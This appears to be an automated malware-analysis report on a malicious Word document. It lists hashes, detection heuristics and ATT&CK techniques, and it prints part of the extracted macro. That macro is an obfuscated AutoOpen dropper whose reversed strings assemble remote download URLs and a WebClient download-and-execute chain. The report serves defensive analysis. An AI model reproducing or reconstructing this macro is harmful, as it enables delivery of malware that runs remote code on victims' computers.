Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6cf585b16de1edb9…

MALICIOUS

Office (OLE)

89.0 KB Created: 2018-02-07 12:55:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: db6fb0bfb4bc958e9faf7bc0cce12b2d SHA-1: cf2070d63b1c9559472a6b71ddbd06662f2c35a1 SHA-256: 6cf585b16de1edb9dc313886ddb4b32d617290eef1c9ce1a2ef6160336c1eaad
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes a Shell() call, indicating an attempt to execute external commands. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests it's a dropper for phishing lures. The VBA script attempts to construct a URL using string concatenation, which is a common technique for downloading and executing further malicious content.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19544 bytes
SHA-256: 7aba2ce3ac1f84225a567c5f3aca37845e352321384bf5837bcc7085e2fda4cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uPndDKIQpwaC"
Sub AutoOpen()
On Error Resume Next
FbnYzwKuH = dDGRzlLQDwd - cwPDiMrJ / (7576227 + zpzjTYiaW - 4250031 + coWDrIsCXij)
qzzrItQwD = nKEQUPSniccHdA - tzqEwGQo / (3077066 + zjcPoKXTjoiSmX - 8497034 + PoCGjUzjPtZ)
uErWVoSUf = XtSEnwLcbMTMX - bmJPfksAukdOp / (3444118 + dUDMlrvk - 433253 + XoGojGhjzvifCo)
Application.Run "GwFMPGB", iQzHkTNP
vwXwhbZHt = zsPzmAjCGU - wmMNivip / (4299741 + wRPRoUwCbVQ - 8970138 + qoqitzPjYifwK)
KkDfrRXtz = AiwjjzfwsBw - ZnNopGuZjj / (3567334 + JLzviwXurOq - 9872638 + TjjtknwLpLPRDb)
End Sub
Function iQzHkTNP()
On Error Resume Next
MHIWObZGdAr = ICTGfcnOHkBUYG - tHnhzoR / (3661513 + PHAiwqdwX - 9865084 + njJkAtMRKM)
COsTSUQVbWO = mLLTfJGUJr - EqXcFRQHEwYm / (3265871 + wCjDczICt - 4023771 + WdLTpDqcEcSNY)
ADKZbEot = vBDHZOYuFjHaR - rbBzCnjnEoPt / (6664444 + MlfpIPjw - 955643 + TGQbYiMPmJkcaV)
ATPwXao = qLSQNmzoS + Mid(StrReverse("jfaYGLivCdfVhJFLUfURUAQUGGUHzpLMZB+qRPptth?/Oyiqhin/moc.selqRfoL+foLP+qRPaqRP+qRPsoroigeql6z+l6zRP+foL+foLqRPloc/qRP+qRP/l6z+l6z:qRP+qRPptthfoL+'+'foL?/ofoL+foLIqRPl6z+l6z+qR'+'PMm/qRP'+'+qRPtl.egr'+'qRP+qRPon//:pqRP+qRPtth?qRPviM"), 4, 193)
viqrEjuoCLE = hUBRRBzsW - dvWHPZcz / (1459926 + ajKJdWJZCq - 532161 + bCuDduzkJsGTr)
UrCwzZOjAH = OwsWmsYGn - JrousaqjDpTUML / (9263356 + CXPidrSNILjf - 745824 + PVOwulGC)
YcnJaJcKcw = jBaQBwtlhaEqB - FUSZamjuKctaw / (1231686 + QKbzfjjCb - 3139767 + OazFzUOiI)
KLUzTKWAl = lFHwOsjf + Mid(StrReverse("NiiRPth?/l6z'+'foL+foL'+'+l6zOl6z+l6ziql6z'+'+l6zRP+qRPZoGwl6z+l6zqRP+qRPv/mocqRP+qRP.migaftumsqRP+qRPifeqRP+qRPn//:qRPUERiWOEnTHhTlXAjPSjHtmdZtzSXQtADMzc"), 36, 116)
XTQjlwGrA = UQQcqVKZRrJIY - vFcZMUw / (7900458 + zvjTroEEpUbFi - 7821522 + dsTiJlDXsF)
TOMLwFacV = mVzOcpfcShHCTk - mTowAMQFv / (3839030 + PfCuYqN - 9571236 + iHarlaF)
mVLUpn = pVqzzwzjjv - jVQBuba / (1596 + YIQoVifftzL - 4924210 + uPadBRjD)
DwjfpPNruEp = cMjQLorwWbz + Mid(StrReverse("TmMNkfoL+foLqRPfoL+foL= BSNql6z+foL+foLl6zRP+qRPt'+'RSqRP+qRP;qRP+qRPtqRP+qRPnqRP+qRPeilCqRPfoL+foLl6z+l6z+qRPbe'+'qRP+qRPW.teN'+'.miNriuTPlzLwritOGGwi"), 20, 127)
jnfns = LafzhFCdP - TqmjfZaAb / (3285421 + IQXNTVfEAMZ - 2530538 + zzbziVbXCSjU)
ZDjcbcI = LcrGSiO - DJIjNkWZOEtdE / (6969865 + zdRGpCGwntRJ - 612274 + tuvwrwpTN)
OfUjm = lEwnNqrwbv - dBYZnwLUqvaTL / (3994375 + wfMnriPv - 4073234 + DSkzCSiHUQtX)
rXUMtiUbiw = ovIQhSFj + Mid(StrReverse("OpNRJI+221]lfoL+foL6z+l6z'+'RAHCfoL+foL[( ECaLP'+'er- 29]RAHC[,)38]RAHC[+27]RAHl6z+l6zC[+001]RAHC[(ECaLl6z+l6zPer-)qRPl6z+l6z}}{h'+'ctaqRP+qRPc}qRP+qRP;kafoL+foLerb;)qRP+qRPCDqEOmNzDpidWcDBanQqRpwM"), 22, 170)
UohAn = sLlnEPO - DnjibXn / (5577218 + LrERbFInNfsVK - 9996038 + AhFqhuDFC)
SnXbvUWi = UlVVCbjwRZvOl - GdzqjVjsn / (3479485 + tSzvwImCdGU - 7408859 + LDIZsaVlv)
jsVpiP = kEuNVjEbzDrIJ - BTQJLHKlqhfj / (2662912 + zNwswiMq - 718752 + RVZfXiaCuVXZJM)
MIjFLwhLn = EzdzXZKlmS + Mid(StrReverse("HrkoHmzjZliFp+mqRP+qRP3pnmqRPl6z+l6z+qRP3p(& = dqRfoL+foLP+qRPsqRP+'+'qRPadasntRSqRP((( )qRPXqRP+]31[diLLEhs8PfoL+foLi+]1[DiLll6z+l6zEhs8Pi ( &l6z(((xEifoL( ( XEi'(()'x'+]03[EmOHSP$+]4[emOhsP$ (& iTkjVti"), 8, 184)
OOAaJ = GzKfaLPVspif - HHdmsmaDk / (3485716 + ANcqNcDf - 532732 + carOuMJoTjFzl)
hqJqjfHHm = FECZHBjW - AfMiZHPmCcaf / (6176923 + XzaROQiEBcVl - 1654888 + dYAGFtrjidk)
jfcYGiq = EzDWKbZTichk - FzvikNozp / (1678511 + bTZmuoPwhhM - 7054932 + iRuLpwB)
wULVMKXbFRz = nizOMhoStc + Mid(StrReverse("PBbWjAtRm3pqRPl6z+l6z+qRP = l6z+l6zXCD'+'AtRSl'+'6z+l6z;foL+foL)331282ql6z+l6zRP+qRP ,00001qRfoL+foLP+qRP(txen.dqRP+qRPfoL+f'+'oLsad'+'a'+'sqRP+qRPntRS qRP+pLEkTIEbkQOLYkRzdMjBTmFfnD"), 27, 148)
RcdsIoJSXN = rBnYpMkDktOtAT - cJtHmLiZs / (9805902 + RflAzvcjZsYQ - 1268284 + GMEHfCEizTXVh)
iQEwviKXfCm = jMcuZFuESjvS - RtaEtmSjz / (4989423 + NwfniRcbO - 8144611 + NQdrAuBtULMlnk)
zVMFXZWSp = OijPGkmJhc - GWAHTEaRjKa / (359
... (truncated)

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